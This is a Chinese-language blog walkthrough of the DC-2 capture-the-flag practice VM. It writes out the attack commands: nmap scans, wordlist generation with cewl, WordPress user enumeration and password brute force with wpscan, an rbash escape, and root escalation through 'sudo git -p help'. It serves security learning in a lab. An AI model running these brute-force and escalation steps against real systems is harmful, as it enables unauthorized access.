渗透测试学习之靶机DC-2
程序员文章站
2022-05-17 16:45:19
...
前言
- 之前的过程写得感觉太过于累赘,这个就直接顺着思路写吧。
过程
1. 探测目标主机
nmap -sP 192.168.246.0/24
,得到目标主机IP:192.168.246.139
2. 信息搜集
-
端口信息
nmap -sV -p 1-65535 192.168.246.139
-
web站点的相关服务信息
whatweb http://192.168.246.139:80
打开该地址后也是,RedirectLocation也就是跳转到http://dc-2/,修改hosts文件,让此域名解析到靶机的IP地址。
C:\Windows\System32\drivers\etc的hosts增加192.168.246.139 dc-2
保存后重新打开此地址:
wordpress站,同时得到Flag1:
大概意思是:普通字典可能没用,可以使用cewl获取字典代替,登录一个获取下一个flag,没有就登录下一个,存在多个用户。 -
使用cewl生成字典
没有其他提示,使用默认方法就行:cewl http://dc-2/ -w /root/Desktop/dic.txt
这就有了密码字典。 -
使用wpscan枚举用户名
wpscan --url http://dc-2/ -e u
把这三个也放到一个文本里吧。 -
站点目录信息
使用dirbuster,配置如下:
访问后跳转到:http://dc-2/wp-login.php,得到后台登录地址。
3. **用户
使用wpscan对之前的用户名密码字典进行**wpscan --url http://dc-2/ -P /root/Desktop/dic.txt -U /root/Desktop/user.txt
4. 后台登录
-
登录jerry
在Pages里看到Flag和Flag2:
Flag就是Flag1的内容,Flag2:
提示另一个方式,除了WordPress,那只有ssh的7744端口。 -
登录tom
什么信息也没有,只能转向ssh。
5. ssh登录
使用jerry登录失败,tom登录成功:
查看目录文件,存在flag3.txt,但是命令不能执行;
因为ssh远程连接到服务器的环境变量中不包含对应可执行文件的路径。需要自行添加
引用链接
需要绕过rbash
BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
flag3:Perhaps he should su for all the stress he causes.
看了引用链接中的大佬的思路,切换用户,su。
6. 切换用户
切换用户,跳出tom所在目录后发现flag4.txt:su jerry
flag4:Go on - git outta here!!!
- git 提示使用git提权
7. git提权
参考链接sudo git -p help
!/bin/bash
这里刚开始一直失败,后来找到原因如下:
这里需要调整终端大小,使其一次性显示不完这条命令的回显结果,这样这条命令就一直处于运行状态,加上此时处于root权限。
引用链接
跳出jerry目录,就可以发现final-flag.txt了:
总结
- 过程磕磕绊绊,但是认识到很多,需要及时复习;
- 参考的地方都有在文章中指出。